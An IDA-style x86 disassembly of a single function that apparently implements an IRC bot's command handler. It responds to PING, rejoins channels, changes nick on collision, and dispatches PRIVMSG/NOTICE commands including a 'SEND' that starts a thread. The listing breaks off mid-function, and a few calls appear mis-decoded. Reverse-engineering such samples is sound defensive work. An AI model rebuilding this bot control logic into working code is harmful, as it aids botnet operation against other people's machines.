var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA68 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA64 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA60 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C9A0

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C97C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C960
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C924
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C920
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A

